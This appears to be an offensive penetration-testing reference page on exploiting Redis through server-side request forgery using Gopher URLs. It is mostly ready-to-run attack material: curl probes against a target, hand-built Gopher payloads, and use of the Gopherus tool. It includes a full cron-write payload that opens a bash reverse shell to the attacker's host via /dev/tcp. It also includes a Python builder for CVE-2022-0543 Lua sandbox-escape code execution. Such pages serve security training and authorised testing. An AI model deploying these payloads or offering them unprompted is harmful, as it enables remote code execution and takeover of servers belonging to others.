# SSRF to Redis – Gopher Protocol Command Injection

- **URL:** https://hackindex.io/services/redis/exploitation/ssrf-redis
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-03-14

When a web application has a Server-Side Request Forgery (SSRF) vulnerability and the internal network runs Redis, you can use the Gopher protocol to send raw TCP data to the Redis port. Gopher payloads carry Redis inline commands over HTTP, bypassing the Redis client protocol entirely. This is how Redis behind a firewall (only accessible from the web server) gets exploited via a public-facing SSRF. The SSRF-to-Redis chain requires:

- An SSRF vulnerability in the web application
- Gopher protocol support in the SSRF handler (not all libraries support it)
- Redis reachable from the web server on an internal address
- No authentication on Redis, or a known password injectable via Gopher

## Prerequisites Check

**1 - SSRF vulnerability exists in the web application:** Test basic SSRF to your attack box:

```bash
# Start listener
nc -lvnp 8080

# Trigger SSRF to your IP in the app parameter
curl "https://$TARGET_WEB/?url=http://$LHOST:8080"
```

If you receive a connection, SSRF is confirmed.

**2 - Gopher is supported by the SSRF handler:**

```bash
curl "https://$TARGET_WEB/?url=gopher://127.0.0.1:6379/_PING%0d%0a"
```

A `+PONG` or any Redis response in the HTTP reply confirms Gopher is supported and Redis is reachable internally.

**3 - Redis is running internally (common ports):**

Probe internal ports via the SSRF to confirm Redis is there:

```bash
curl "https://$TARGET_WEB/?url=http://127.0.0.1:6379/"
curl "https://$TARGET_WEB/?url=dict://127.0.0.1:6379/info"
```

A Redis error or INFO output in the response confirms the service.

## Building SSRF Redis Gopher Payloads Manually

Redis commands in Gopher are URL-encoded with `%0d%0a` (CRLF) as the line terminator. The `_` after `gopher://host:port/` is a throwaway first byte required by the Gopher protocol.

**PING test:**

```bash
gopher://127.0.0.1:6379/_PING%0d%0a
```

**Get a key:**

```bash
gopher://127.0.0.1:6379/_GET%20mykey%0d%0a
```

**Run INFO:**

```bash
gopher://127.0.0.1:6379/_INFO%0d%0a
```

## Generating Payloads with Gopherus

Gopherus automates Gopher payload generation for Redis and other internal services:

```bash
git clone https://github.com/tarunkant/Gopherus
cd Gopherus
python2 gopherus.py --exploit redis
```

Select the shell type when prompted. Gopherus generates a ready-to-use Gopher URL:

```bash
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...
```

URL-encode the payload once more if your SSRF passes it as a query parameter:

```bash
python3 -c "import urllib.parse; print(urllib.parse.quote('gopher://127.0.0.1:6379/_...'))"
```

## Cron Job Write via SSRF

The full cron write sequence encoded as a Gopher payload. Generate with Gopherus (select `ReverseShell`) or build manually:

```bash
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0A%0A*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0Abgsave%0D%0A
```

Replace `$LHOST` and `$LPORT` before sending.

Start your listener and submit the payload via the SSRF parameter:

```bash
nc -lvnp $LPORT
curl "https://$TARGET_WEB/?url=<gopher_payload>"
```

## CVE-2022-0543 Lua RCE via SSRF

If the target is Debian/Ubuntu and Redis is version <=6.0.15, chain SSRF with the Lua sandbox escape. Build the Gopher payload:

```python
import urllib.parse

cmd = "id"
lua = f"""eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("{cmd}", "r"); local res = f:read("*a"); f:close(); return res' 0"""

redis_cmd = f"\r\n{lua}\r\nquit\r\n"
gopher_payload = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(redis_cmd)
print(gopher_payload)
```

Submit the output URL as the SSRF value to execute `id` on the server. Replace `id` with a reverse shell one-liner for a shell.

## Double URL Encoding

Some SSRF implementations decode the URL once before forwarding. If the payload is not reaching Redis correctly, double-encode it:

```bash
python3 -c "import urllib.parse; payload='gopher://...'; print(urllib.parse.quote(payload))"
```

## References

- [Gopherus](https://github.com/tarunkant/Gopherus) - tarunkant Automated Gopher payload generator for Redis, MySQL, SMTP, FastCGI, and other internal services via SSRF.
- [Red Island CTF Writeup](https://www.hackthebox.com/blog/red-island-ca-ctf-2022-web-writeup) - HackTheBox Full SSRF to Redis CVE-2022-0543 chain walkthrough with Gopher payload construction.
